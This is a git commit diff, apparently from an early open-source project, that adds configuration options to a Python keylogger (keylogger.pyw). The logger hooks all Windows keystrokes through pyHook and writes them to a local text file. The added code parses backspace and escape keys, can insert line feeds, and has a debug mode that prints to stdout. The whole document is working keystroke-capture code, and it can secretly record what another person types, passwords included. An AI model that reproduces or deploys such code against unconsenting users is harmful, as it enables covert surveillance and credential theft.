add parser configuration option

nanotube [2005-09-04 04:49]
add parser configuration option
Filename
keylogger.pyw
diff --git a/keylogger.pyw b/keylogger.pyw
index f2ff699..e5fabce 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -6,10 +6,14 @@ import sys
 class KeyLogger:
     ''' Captures all keystrokes, and logs them to a text file
     '''
-    def __init__(self, hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt"):
+    def __init__(self, hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt", addLineFeed=0, parseBackspace=0, parseEscape=0, debug=0):

         self.exitKey = exitKey                      #key we press to quit keylogger
         self.flushKey = flushKey                    #key we press to make keylogger flush the file buffer (so we can check the log, for example)
+        self.parseBackspace = parseBackspace
+        self.parseEscape = parseEscape
+        self.addLineFeed = addLineFeed
+        self.debug = debug

         self.hm = pyHook.HookManager()

@@ -19,13 +23,19 @@ class KeyLogger:
             self.hm.HookKeyboard()
         if hookMouse == 1:
             self.hm.HookMouse()
-
-        self.log = open(logFile, 'a')
+
+        if self.debug == 0:
+            self.log = open(logFile, 'a')

         #ascii subset is created as a filter to exclude funky non-printable chars from the log
         self.asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
         self.asciiSubset.extend(range(32,128))      #all normal printable chars

+        if self.parseBackspace == 1:
+            self.asciiSubset.remove(8)              #remove backspace from allowed chars if needed
+        if self.parseEscape == 1:
+            self.asciiSubset.remove(27)             #remove escape from allowed chars if needed
+
         pythoncom.PumpMessages()


@@ -49,12 +59,22 @@ class KeyLogger:
         self.log.write('---\n')
         '''
         if event.Ascii in self.asciiSubset:
-            self.log.write(chr(event.Ascii))
+            self.PrintStuff(chr(event.Ascii))
+        if event.Ascii == 13 and self.addLineFeed == 1:
+            self.PrintStuff(chr(10))                 #add line feed after CR,if option is set

         #we translate all the special keys, such as arrows, backspace, into text strings for logging
         #exclude shift keys, because they are already represented (as capital letters/symbols)
         if event.Ascii == 0 and not (str(event.Key).endswith('shift')):
-            self.log.write('[KeyName:' + event.Key + ']')
+            self.PrintStuff('[KeyName:' + event.Key + ']')
+
+        #translate backspace into text string, if option is set.
+        if event.Ascii == 8 and self.parseBackspace == 1:
+            self.PrintStuff('[KeyName:' + event.Key + ']')
+
+        #translate escape into text string, if option is set.
+        if event.Ascii == 27 and self.parseEscape == 1:
+            self.PrintStuff('[KeyName:' + event.Key + ']')

         if event.Key == self.flushKey:
             self.log.flush()
@@ -63,7 +83,16 @@ class KeyLogger:
             sys.exit()

         return True
+    def PrintStuff(self, stuff):
+        if self.debug == 0:
+            self.log.write(stuff)
+        else:
+            sys.stdout.write(stuff)

 if __name__ == '__main__':
     kl = KeyLogger()
+
+    #if you want to change keylogger behavior from defaults, comment out the above line, and uncomment below, changing
+    #parameters as needed.
+    #kl = KeyLogger(hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt", addLineFeed=1, parseBackspace=1, parseEscape=1, debug=0)

\ No newline at end of file
ViewGit